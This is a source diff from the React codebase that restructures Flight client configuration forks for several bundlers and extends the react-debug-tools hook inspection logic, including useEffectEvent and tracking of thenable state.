+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-parcel.js
@@ -0,0 +1,19 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-parcel';
+
+export * from 'react-client/src/ReactFlightClientStreamConfigWeb';
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+export * from 'react-client/src/ReactClientDebugConfigPlain';
+export * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel';
+export * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelServer';
+export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
+export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-turbopack.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-turbopack.js
index 269f8ec0c231..95a96d1edc42 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-turbopack.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-turbopack.js
@@ -7,10 +7,14 @@
  * @flow
  */
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-turbopack';
+
 export * from 'react-client/src/ReactFlightClientStreamConfigWeb';
-export * from 'react-client/src/ReactFlightClientConsoleConfigServer';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopack';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackServer';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigTargetTurbopackServer';
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+export * from 'react-client/src/ReactClientDebugConfigPlain';
+export * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack';
+export * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer';
+export * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackServer';
 export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
 export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-webpack.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-webpack.js
index cafa02b68621..519eb9b647d3 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-webpack.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-webpack.js
@@ -7,10 +7,14 @@
  * @flow
  */
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-webpack';
+
 export * from 'react-client/src/ReactFlightClientStreamConfigWeb';
-export * from 'react-client/src/ReactFlightClientConsoleConfigServer';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpack';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackServer';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigTargetWebpackServer';
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+export * from 'react-client/src/ReactClientDebugConfigPlain';
+export * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack';
+export * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer';
+export * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackServer';
 export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
 export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-legacy.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-legacy.js
index 017dc33081d5..6a3a2c43d97c 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-legacy.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-legacy.js
@@ -7,13 +7,16 @@
  * @flow
  */
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'not-used';
+
 export * from 'react-client/src/ReactFlightClientStreamConfigWeb';
-export * from 'react-client/src/ReactFlightClientConsoleConfigBrowser';
-export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
+export * from 'react-client/src/ReactClientConsoleConfigBrowser';
+export * from 'react-client/src/ReactClientDebugConfigBrowser';
 
 export type Response = any;
 export opaque type ModuleLoading = mixed;
-export opaque type SSRModuleMap = mixed;
+export opaque type ServerConsumerModuleMap = mixed;
 export opaque type ServerManifest = mixed;
 export opaque type ServerReferenceId = string;
 export opaque type ClientReferenceMetadata = mixed;
@@ -22,5 +25,7 @@ export const resolveClientReference: any = null;
 export const resolveServerReference: any = null;
 export const preloadModule: any = null;
 export const requireModule: any = null;
+export const getModuleDebugInfo: any = null;
+export const dispatchHint: any = null;
 export const prepareDestinationForModule: any = null;
 export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-esm.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-esm.js
index 6c68ae163bb5..9cb31647049b 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-esm.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-esm.js
@@ -7,9 +7,13 @@
  * @flow
  */
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-esm';
+
 export * from 'react-client/src/ReactFlightClientStreamConfigNode';
-export * from 'react-client/src/ReactFlightClientConsoleConfigServer';
-export * from 'react-server-dom-esm/src/ReactFlightClientConfigBundlerESM';
-export * from 'react-server-dom-esm/src/ReactFlightClientConfigTargetESMServer';
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+export * from 'react-client/src/ReactClientDebugConfigNode';
+export * from 'react-server-dom-esm/src/client/ReactFlightClientConfigBundlerESM';
+export * from 'react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMServer';
 export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
 export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-parcel.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-parcel.js
new file mode 100644
index 000000000000..dcb5af34358a
--- /dev/null
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-parcel.js
@@ -0,0 +1,19 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-parcel';
+
+export * from 'react-client/src/ReactFlightClientStreamConfigNode';
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+export * from 'react-client/src/ReactClientDebugConfigNode';
+export * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel';
+export * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelServer';
+export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
+export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-turbopack-bundled.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-turbopack-bundled.js
deleted file mode 100644
index f1e7d66ee811..000000000000
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-turbopack-bundled.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export * from 'react-client/src/ReactFlightClientStreamConfigNode';
-export * from 'react-client/src/ReactFlightClientConsoleConfigServer';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopack';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackServer';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigTargetTurbopackServer';
-export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
-export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-turbopack.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-turbopack.js
index c6da80ef6060..094658ecc92a 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-turbopack.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-turbopack.js
@@ -7,9 +7,14 @@
  * @flow
  */
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-turbopack';
+
 export * from 'react-client/src/ReactFlightClientStreamConfigNode';
-export * from 'react-client/src/ReactFlightClientConsoleConfigServer';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerNode';
-export * from 'react-server-dom-turbopack/src/ReactFlightClientConfigTargetTurbopackServer';
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+export * from 'react-client/src/ReactClientDebugConfigNode';
+export * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack';
+export * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer';
+export * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackServer';
 export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
 export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-unbundled.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-unbundled.js
new file mode 100644
index 000000000000..838a187a7fe8
--- /dev/null
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-unbundled.js
@@ -0,0 +1,19 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-unbundled';
+
+export * from 'react-client/src/ReactFlightClientStreamConfigNode';
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+export * from 'react-client/src/ReactClientDebugConfigNode';
+export * from 'react-server-dom-unbundled/src/client/ReactFlightClientConfigBundlerNode';
+export * from 'react-server-dom-unbundled/src/client/ReactFlightClientConfigTargetNodeServer';
+export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
+export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-webpack.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-webpack.js
deleted file mode 100644
index 95fd1590ab5c..000000000000
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node-webpack.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-export * from 'react-client/src/ReactFlightClientStreamConfigNode';
-export * from 'react-client/src/ReactFlightClientConsoleConfigServer';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpack';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackServer';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigTargetWebpackServer';
-export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
-export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node.js b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node.js
index 41c7e8e1d470..30878a7e584a 100644
--- a/packages/react-client/src/forks/ReactFlightClientConfig.dom-node.js
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.dom-node.js
@@ -6,10 +6,14 @@
  *
  * @flow
  */
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-server-dom-webpack';
 
 export * from 'react-client/src/ReactFlightClientStreamConfigNode';
-export * from 'react-client/src/ReactFlightClientConsoleConfigServer';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigBundlerNode';
-export * from 'react-server-dom-webpack/src/ReactFlightClientConfigTargetWebpackServer';
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+export * from 'react-client/src/ReactClientDebugConfigNode';
+export * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack';
+export * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer';
+export * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackServer';
 export * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';
 export const usedWithSSR = true;
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.markup.js b/packages/react-client/src/forks/ReactFlightClientConfig.markup.js
new file mode 100644
index 000000000000..1c5eae7eba9d
--- /dev/null
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.markup.js
@@ -0,0 +1,98 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-markup';
+
+import type {Thenable} from 'shared/ReactTypes';
+
+export * from 'react-markup/src/ReactMarkupLegacyClientStreamConfig.js';
+export * from 'react-client/src/ReactClientConsoleConfigPlain';
+export * from 'react-client/src/ReactClientDebugConfigPlain';
+
+export type ModuleLoading = null;
+export type ServerConsumerModuleMap = null;
+export opaque type ServerManifest = null;
+export type ServerReferenceId = string;
+export opaque type ClientReferenceMetadata = null;
+export opaque type ClientReference<T> = null; // eslint-disable-line no-unused-vars
+
+export function prepareDestinationForModule(
+  moduleLoading: ModuleLoading,
+  nonce: ?string,
+  metadata: ClientReferenceMetadata,
+) {
+  throw new Error(
+    'renderToHTML should not have emitted Client References. This is a bug in React.',
+  );
+}
+
+export function resolveClientReference<T>(
+  bundlerConfig: ServerConsumerModuleMap,
+  metadata: ClientReferenceMetadata,
+): ClientReference<T> {
+  throw new Error(
+    'renderToHTML should not have emitted Client References. This is a bug in React.',
+  );
+}
+
+export function resolveServerReference<T>(
+  config: ServerManifest,
+  id: ServerReferenceId,
+): ClientReference<T> {
+  throw new Error(
+    'renderToHTML should not have emitted Server References. This is a bug in React.',
+  );
+}
+
+export function preloadModule<T>(
+  metadata: ClientReference<T>,
+): null | Thenable<T> {
+  return null;
+}
+
+export function requireModule<T>(metadata: ClientReference<T>): T {
+  throw new Error(
+    'renderToHTML should not have emitted Client References. This is a bug in React.',
+  );
+}
+
+export function getModuleDebugInfo<T>(metadata: ClientReference<T>): null {
+  throw new Error(
+    'renderToHTML should not have emitted Client References. This is a bug in React.',
+  );
+}
+
+export const usedWithSSR = true;
+
+type HintCode = string;
+type HintModel<T: HintCode> = null; // eslint-disable-line no-unused-vars
+
+export function dispatchHint<Code: HintCode>(
+  code: Code,
+  model: HintModel<Code>,
+): void {
+  // Should never happen.
+}
+
+export function preinitModuleForSSR(
+  href: string,
+  nonce: ?string,
+  crossOrigin: ?string,
+) {
+  // Should never happen.
+}
+
+export function preinitScriptForSSR(
+  href: string,
+  nonce: ?string,
+  crossOrigin: ?string,
+) {
+  // Should never happen.
+}
diff --git a/packages/react-client/src/forks/ReactFlightClientConfig.noop.js b/packages/react-client/src/forks/ReactFlightClientConfig.noop.js
new file mode 100644
index 000000000000..911cf063d0eb
--- /dev/null
+++ b/packages/react-client/src/forks/ReactFlightClientConfig.noop.js
@@ -0,0 +1,57 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is a host config that's used for the internal `react-noop-renderer` package.
+//
+// Its API lets you pass the host config as an argument.
+// However, inside the `react-server` we treat host config as a module.
+// This file is a shim between two worlds.
+//
+// It works because the `react-server` bundle is wrapped in something like:
+//
+// module.exports = function ($$$config) {
+//   /* renderer code */
+// }
+//
+// So `$$$config` looks like a global variable, but it's
+// really an argument to a top-level wrapping function.
+
+declare const $$$config: $FlowFixMe;
+
+export opaque type ModuleLoading = mixed;
+export opaque type ServerConsumerModuleMap = mixed;
+export opaque type ServerManifest = mixed;
+export opaque type ServerReferenceId = string;
+export opaque type ClientReferenceMetadata = mixed;
+export opaque type ClientReference<T> = mixed; // eslint-disable-line no-unused-vars
+export const resolveClientReference = $$$config.resolveClientReference;
+export const resolveServerReference = $$$config.resolveServerReference;
+export const preloadModule = $$$config.preloadModule;
+export const requireModule = $$$config.requireModule;
+export const getModuleDebugInfo = $$$config.getModuleDebugInfo;
+export const dispatchHint = $$$config.dispatchHint;
+export const prepareDestinationForModule =
+  $$$config.prepareDestinationForModule;
+export const usedWithSSR = true;
+
+export opaque type Source = mixed;
+
+export opaque type StringDecoder = mixed;
+
+export const createStringDecoder = $$$config.createStringDecoder;
+export const readPartialStringChunk = $$$config.readPartialStringChunk;
+export const readFinalStringChunk = $$$config.readFinalStringChunk;
+
+export const bindToConsole = $$$config.bindToConsole;
+
+export const rendererVersion = $$$config.rendererVersion;
+export const rendererPackageName = $$$config.rendererPackageName;
+
+export const checkEvalAvailabilityOnceDev =
+  $$$config.checkEvalAvailabilityOnceDev;
diff --git a/packages/react-debug-tools/src/ReactDebugHooks.js b/packages/react-debug-tools/src/ReactDebugHooks.js
index 09ba351235ec..b4eb6c2b5965 100644
--- a/packages/react-debug-tools/src/ReactDebugHooks.js
+++ b/packages/react-debug-tools/src/ReactDebugHooks.js
@@ -6,7 +6,7 @@
  *
  * @flow
  */
-
+import type {StackFrame as ParsedStackFrame} from 'error-stack-parser';
 import type {
   Awaited,
   ReactContext,
@@ -96,22 +96,14 @@ function getPrimitiveStackCache(): Map<string, Array<any>> {
       );
       Dispatcher.useDeferredValue(null);
       Dispatcher.useMemo(() => null);
+      Dispatcher.useOptimistic(null, (s: mixed, a: mixed) => s);
+      Dispatcher.useFormState((s: mixed, p: mixed) => s, null);
+      Dispatcher.useActionState((s: mixed, p: mixed) => s, null);
+      Dispatcher.useHostTransitionStatus();
       if (typeof Dispatcher.useMemoCache === 'function') {
         // This type check is for Flow only.
         Dispatcher.useMemoCache(0);
       }
-      if (typeof Dispatcher.useOptimistic === 'function') {
-        // This type check is for Flow only.
-        Dispatcher.useOptimistic(null, (s: mixed, a: mixed) => s);
-      }
-      if (typeof Dispatcher.useFormState === 'function') {
-        // This type check is for Flow only.
-        Dispatcher.useFormState((s: mixed, p: mixed) => s, null);
-      }
-      if (typeof Dispatcher.useActionState === 'function') {
-        // This type check is for Flow only.
-        Dispatcher.useActionState((s: mixed, p: mixed) => s, null);
-      }
       if (typeof Dispatcher.use === 'function') {
         // This type check is for Flow only.
         Dispatcher.use(
@@ -136,9 +128,8 @@ function getPrimitiveStackCache(): Map<string, Array<any>> {
 
       Dispatcher.useId();
 
-      if (typeof Dispatcher.useHostTransitionStatus === 'function') {
-        // This type check is for Flow only.
-        Dispatcher.useHostTransitionStatus();
+      if (typeof Dispatcher.useEffectEvent === 'function') {
+        Dispatcher.useEffectEvent((args: empty) => {});
       }
     } finally {
       readHookLog = hookLog;
@@ -156,6 +147,8 @@ function getPrimitiveStackCache(): Map<string, Array<any>> {
 let currentFiber: null | Fiber = null;
 let currentHook: null | Hook = null;
 let currentContextDependency: null | ContextDependency<mixed> = null;
+let currentThenableIndex: number = 0;
+let currentThenableState: null | Array<Thenable<mixed>> = null;
 
 function nextHook(): null | Hook {
   const hook = currentHook;
@@ -203,14 +196,22 @@ const SuspenseException: mixed = new Error(
     '`try/catch` block. Capturing without rethrowing will lead to ' +
     'unexpected behavior.\n\n' +
     'To handle async errors, wrap your component in an error boundary, or ' +
-    "call the promise's `.catch` method and pass the result to `use`",
+    "call the promise's `.catch` method and pass the result to `use`.",
 );
 
 function use<T>(usable: Usable<T>): T {
   if (usable !== null && typeof usable === 'object') {
     // $FlowFixMe[method-unbinding]
     if (typeof usable.then === 'function') {
-      const thenable: Thenable<any> = (usable: any);
+      const thenable: Thenable<any> =
+        // If we have thenable state, then the actually used thenable will be the one
+        // stashed in it. It's possible for uncached Promises to be new each render
+        // and in that case the one we're inspecting is the in the thenable state.
+        currentThenableState !== null &&
+        currentThenableIndex < currentThenableState.length
+          ? currentThenableState[currentThenableIndex++]
+          : (usable: any);
+
       switch (thenable.status) {
         case 'fulfilled': {
           const fulfilledValue: T = thenable.value;
@@ -284,9 +285,9 @@ function useState<S>(
     hook !== null
       ? hook.memoizedState
       : typeof initialState === 'function'
-      ? // $FlowFixMe[incompatible-use]: Flow doesn't like mixed types
-        initialState()
-      : initialState;
+        ? // $FlowFixMe[incompatible-use]: Flow doesn't like mixed types
+          initialState()
+        : initialState;
   hookLog.push({
     displayName: null,
     primitive: 'State',
@@ -380,7 +381,7 @@ function useInsertionEffect(
 
 function useEffect(
   create: () => (() => void) | void,
-  inputs: Array<mixed> | void | null,
+  deps: Array<mixed> | void | null,
 ): void {
   nextHook();
   hookLog.push({
@@ -466,9 +467,11 @@ function useSyncExternalStore<T>(
   // useSyncExternalStore() composes multiple hooks internally.
   // Advance the current hook index the same number of times
   // so that subsequent hooks have the right memoized state.
-  nextHook(); // SyncExternalStore
+  const hook = nextHook(); // SyncExternalStore
   nextHook(); // Effect
-  const value = getSnapshot();
+  // Read from hook.memoizedState to get the value that was used during render,
+  // not the current value from getSnapshot() which may have changed.
+  const value = hook !== null ? hook.memoizedState : getSnapshot();
   hookLog.push({
     displayName: null,
     primitive: 'SyncExternalStore',
@@ -533,15 +536,16 @@ function useId(): string {
 
 // useMemoCache is an implementation detail of Forget's memoization
 // it should not be called directly in user-generated code
-function useMemoCache(size: number): Array<any> {
+function useMemoCache(size: number): Array<mixed> {
   const fiber = currentFiber;
   // Don't throw, in case this is called from getPrimitiveStackCache
   if (fiber == null) {
     return [];
   }
 
-  // $FlowFixMe[incompatible-use]: updateQueue is mixed
-  const memoCache = fiber.updateQueue?.memoCache;
+  const memoCache =
+    // $FlowFixMe[incompatible-use]: updateQueue is mixed
+    fiber.updateQueue != null ? fiber.updateQueue.memoCache : null;
   if (memoCache == null) {
     return [];
   }
@@ -743,37 +747,54 @@ function useHostTransitionStatus(): TransitionStatus {
   return status;
 }
 
+function useEffectEvent<Args, F: (...Array<Args>) => mixed>(callback: F): F {
+  nextHook();
+  hookLog.push({
+    displayName: null,
+    primitive: 'EffectEvent',
+    stackError: new Error(),
+    value: callback,
+    debugInfo: null,
+    dispatcherHookName: 'EffectEvent',
+  });
+
+  return callback;
+}
+
 const Dispatcher: DispatcherType = {
-  use,
   readContext,
-  useCacheRefresh,
+
+  use,
   useCallback,
   useContext,
   useEffect,
   useImperativeHandle,
-  useDebugValue,
   useLayoutEffect,
   useInsertionEffect,
   useMemo,
-  useMemoCache,
-  useOptimistic,
   useReducer,
   useRef,
   useState,
+  useDebugValue,
+  useDeferredValue,
   useTransition,
   useSyncExternalStore,
-  useDeferredValue,
   useId,
+  useHostTransitionStatus,
   useFormState,
   useActionState,
-  useHostTransitionStatus,
+  useOptimistic,
+  useMemoCache,
+  useCacheRefresh,
+  useEffectEvent,
 };
 
 // create a proxy to throw a custom error
 // in case future versions of React adds more hooks
-const DispatcherProxyHandler = {
+const DispatcherProxyHandler: Proxy$traps<DispatcherType> = {
   get(target: DispatcherType, prop: string) {
     if (target.hasOwnProperty(prop)) {
+      // $FlowFixMe[invalid-computed-prop]
       return target[prop];
     }
     const error = new Error('Missing method in Dispatcher: ' + prop);
@@ -825,7 +846,11 @@ export type HooksTree = Array<HooksNode>;
 
 let mostLikelyAncestorIndex = 0;
 
-function findSharedIndex(hookStack: any, rootStack: any, rootIndex: number) {
+function findSharedIndex(
+  hookStack: ParsedStackFrame[],
+  rootStack: ParsedStackFrame[],
+  rootIndex: number,
+) {
   const source = rootStack[rootIndex].source;
   hookSearch: for (let i = 0; i < hookStack.length; i++) {
     if (hookStack[i].source === source) {
@@ -846,7 +871,10 @@ function findSharedIndex(hookStack: any, rootStack: any, rootIndex: number) {
   return -1;
 }
 
-function findCommonAncestorIndex(rootStack: any, hookStack: any) {
+function findCommonAncestorIndex(
+  rootStack: ParsedStackFrame[],
+  hookStack: ParsedStackFrame[],
+) {
   let rootIndex = findSharedIndex(
     hookStack,
     rootStack,
@@ -867,7 +895,7 @@ function findCommonAncestorIndex(rootStack: any, hookStack: any) {
   return -1;
 }
 
-function isReactWrapper(functionName: any, wrapperName: string) {
+function isReactWrapper(functionName: void | string, wrapperName: string) {
   const hookName = parseHookName(functionName);
   if (wrapperName === 'HostTransitionStatus') {
     return hookName === wrapperName || hookName === 'FormStatus';
@@ -876,7 +904,7 @@ function isReactWrapper(functionName: any, wrapperName: string) {
   return hookName === wrapperName;
 }
 
-function findPrimitiveIndex(hookStack: any, hook: HookLogEntry) {
+function findPrimitiveIndex(hookStack: ParsedStackFrame[], hook: HookLogEntry) {
   const stackCache = getPrimitiveStackCache();
   const primitiveStack = stackCache.get(hook.primitive);
   if (primitiveStack === undefined) {
@@ -907,7 +935,7 @@ function findPrimitiveIndex(hookStack: any, hook: HookLogEntry) {
   return -1;
 }
 
-function parseTrimmedStack(rootStack: any, hook: HookLogEntry) {
+function parseTrimmedStack(rootStack: ParsedStackFrame[], hook: HookLogEntry) {
   // Get the stack trace between the primitive hook function and
   // the root function call. I.e. the stack frames of custom hooks.
   const hookStack = ErrorStackParser.parse(hook.stackError);
@@ -949,6 +977,15 @@ function parseHookName(functionName: void | string): string {
   } else {
     startIndex += 1;
   }
+
+  if (functionName.slice(startIndex).startsWith('unstable_')) {
+    startIndex += 'unstable_'.length;
+  }
+
+  if (functionName.slice(startIndex).startsWith('experimental_')) {
+    startIndex += 'experimental_'.length;
+  }
+
   if (functionName.slice(startIndex, startIndex + 3) === 'use') {
     if (functionName.length - startIndex === 3) {
       return 'Use';
@@ -959,7 +996,7 @@ function parseHookName(functionName: void | string): string {
 }
 
 function buildTree(
-  rootStack: any,
+  rootStack: ParsedStackFrame[],
   readHookLog: Array<HookLogEntry>,
 ): HooksTree {
   const rootChildren: Array<HooksNode> = [];
@@ -999,6 +1036,7 @@ function buildTree(
         }
         // Pop back the stack as many steps as were not common.
         for (let j = prevStack.length - 1; j > commonSteps; j--) {
+          // $FlowFixMe[incompatible-type]
           levelChildren = stackOfChildren.pop();
         }
       }
@@ -1015,10 +1053,20 @@ function buildTree(
           subHooks: children,
           debugInfo: null,
           hookSource: {
-            lineNumber: stackFrame.lineNumber,
-            columnNumber: stackFrame.columnNumber,
-            functionName: stackFrame.functionName,
-            fileName: stackFrame.fileName,
+            lineNumber:
+              stackFrame.lineNumber === undefined
+                ? null
+                : stackFrame.lineNumber,
+            columnNumber:
+              stackFrame.columnNumber === undefined
+                ? null
+                : stackFrame.columnNumber,
+            functionName:
+              stackFrame.functionName === undefined
+                ? null
+                : stackFrame.functionName,
+            fileName:
+              stackFrame.fileName === undefined ? null : stackFrame.fileName,
           },
         };
 
@@ -1063,10 +1111,14 @@ function buildTree(
     };
     if (stack && stack.length >= 1) {
       const stackFrame = stack[0];
-      hookSource.lineNumber = stackFrame.lineNumber;
-      hookSource.functionName = stackFrame.functionName;
-      hookSource.fileName = stackFrame.fileName;
-      hookSource.columnNumber = stackFrame.columnNumber;
+      hookSource.lineNumber =
+        stackFrame.lineNumber === undefined ? null : stackFrame.lineNumber;
+      hookSource.functionName =
+        stackFrame.functionName === undefined ? null : stackFrame.functionName;
+      hookSource.fileName =
+        stackFrame.fileName === undefined ? null : stackFrame.fileName;
+      hookSource.columnNumber =
+        stackFrame.columnNumber === undefined ? null : stackFrame.columnNumber;
     }
 
     levelChild.hookSource = hookSource;
@@ -1172,7 +1224,10 @@ export function inspectHooks<Props>(
     // $FlowFixMe[incompatible-use] found when upgrading Flow
     currentDispatcher.H = previousDispatcher;
   }
-  const rootStack = ErrorStackParser.parse(ancestorStackError);
+  const rootStack =
+    ancestorStackError === undefined
+      ? ([]: ParsedStackFrame[])
+      : ErrorStackParser.parse(ancestorStackError);
   return buildTree(rootStack, readHookLog);
 }
 
@@ -1220,7 +1275,10 @@ function inspectHooksOfForwardRef<Props, Ref>(
     hookLog = [];
     currentDispatcher.H = previousDispatcher;
   }
-  const rootStack = ErrorStackParser.parse(ancestorStackError);
+  const rootStack =
+    ancestorStackError === undefined
+      ? ([]: ParsedStackFrame[])
+      : ErrorStackParser.parse(ancestorStackError);
   return buildTree(rootStack, readHookLog);
 }
 
@@ -1266,6 +1324,14 @@ export function inspectHooksOfFiber(
   // current state from them.
   currentHook = (fiber.memoizedState: Hook);
   currentFiber = fiber;
+  const thenableState =
+    fiber.dependencies && fiber.dependencies._debugThenableState;
+  // In DEV the thenableState is an inner object.
+  const usedThenables: any = thenableState
+    ? thenableState.thenables || thenableState
+    : null;
+  currentThenableState = Array.isArray(usedThenables) ? usedThenables : null;
+  currentThenableIndex = 0;
 
   if (hasOwnProperty.call(currentFiber, 'dependencies')) {
     // $FlowFixMe[incompatible-use]: Flow thinks hasOwnProperty might have nulled `currentFiber`
@@ -1320,6 +1386,8 @@ export function inspectHooksOfFiber(
     currentFiber = null;
     currentHook = null;
     currentContextDependency = null;
+    currentThenableState = null;
+    currentThenableIndex = 0;
 
     restoreContexts(contextMap);
   }
diff --git a/packages/react-debug-tools/src/__tests__/ReactDevToolsHooksIntegration-test.js b/packages/react-debug-tools/src/__tests__/ReactDevToolsHooksIntegration-test.js
index 9c38c5d832f7..9e670ec7f714 100644
--- a/packages/react-debug-tools/src/__tests__/ReactDevToolsHooksIntegration-test.js
+++ b/packages/react-debug-tools/src/__tests__/ReactDevToolsHooksIntegration-test.js
